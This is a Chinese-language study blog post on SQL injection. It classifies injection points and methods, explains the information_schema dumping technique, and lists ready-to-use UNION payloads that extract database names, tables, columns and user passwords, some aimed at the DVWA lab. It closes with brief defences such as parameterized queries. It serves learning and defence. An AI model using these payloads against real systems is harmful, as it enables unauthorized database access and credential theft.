SQL注入笔记

sql注入的原理:通过参数的传递,将恶意的sql语句拼接进原本的sql语句中,导致了sql的语法结构被破坏,从而产生了sql注入漏洞。

注入点:
get注入:                             注入点在url参数                    手工注入or工具注入
post注入:                           注入点在请求主体                 工具注入
cookies注入:                      注入点在cookie                     工具注入
xff注入:                          注入点在xff头                        工具注入
User-Agent注入等:             注入点在http协议中              工具注入

注入点存在注入的必要条件:①参数是可控变量 ②参数被带到数据库里执行    

页面有回显,有报错属于普通注入,可以使用union子句构建联合查询注入
页面没回显,有报错可以使用报错型注入
页面没回显,没报错可以使用盲注

查询方式:
select  进行数据显示查询操作       例:select * from news where id=$id
insert  进行用户注册添加等操作    例:insert into news(id,url,text) values(2,'x','$t')
delete  后台管理里面删除文章删除用户等操作  例:delete from news where id=$id
update  后台中心数据同步或缓存等操作   例:update user set pwd='$p' where id=2 and username='admin'
order by  结合表名或列名进行数据排序操作   例:select * from news order by $id

普通注入:
字符型(存在包裹符号):输入1',1",1)  等包裹符号来判断
数字型(利用逻辑判断):1 and 1=1,1 and 1=2   逻辑判断
搜索型(不常用):语法   like  '%查询内容%'

脱库操作:一库三表六字段
一库指的是information_schema数据库,属于mysql5.0以上的版本自带的一个数据库,存放了数据库管理系统中所有数据库的信息

三表指的是information_schema数据库里的三个重要表
schemata表:存放了所有数据库的信息
tables表:存放了所有表的信息
columns表:存放了所有字段的信息

六字段指的是三表中的六个重要字段
schemata表的 schema_name 字段:存放具体的数据库名
tables表的 table_name 字段:存放具体的表名
tables表的 table_schema 字段:存放表所在的数据库名
columns表的 column_name 字段:存放具体的字段名
columns表的 table_name 字段:存放字段所在的表名
columns表的 table_schema 字段:存放字段所在的数据库名

通过一库三表六字段我们就可以顺利完成脱库操作
所在数据库脱库操作:
获取数据库名字:-1' union select 1,database() --
获取数据库的表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--   
获取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--    
获取账号,密码:-1' union select group_concat(user),group_concat(password) from users --  

跨数据库脱库:
获取数据库名字:-1' union select 1, schema_name from information_schema.schemata --   
获取数据库的表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--      
获取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' --   
获取账号,密码:-1' union select group_concat(user),group_concat(password) from dvwa.users --  

一些命令的操作:
version()        //获取数据库版本
database()     //获取当前数据库名
user()             //获取数据库用户名
@@version_compile_os     //获取操作系统
文件读写操作
load_file():读取函数,用来读取数据库下的文件;
into outfileinto dumpfile:导出函数

获取路径的常见方法:
报错显示、在注入语法错误时会爆出路径;

遗留文件、比如phpinfo.php文件信息;

漏洞报错、比如根据cms框架的漏洞,搜该漏洞爆路径的漏洞方法来获取路径;

平台配置文件、爆破等。

注入防护方法

1.构造的sql语句时使用参数化形式而不使用拼接方式能够可靠地避免sql注入,主流的数据库和语言都支持参数化形式
2.拼接加对输入进行单引号和sql关键字过滤的方法也能在一定程度上防护sql注入
3.采用sql语句预编译和绑定变量
4.严格检查参数的数据类型,还有可以使用一些安全函数,来防止sql注入

......待补充

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值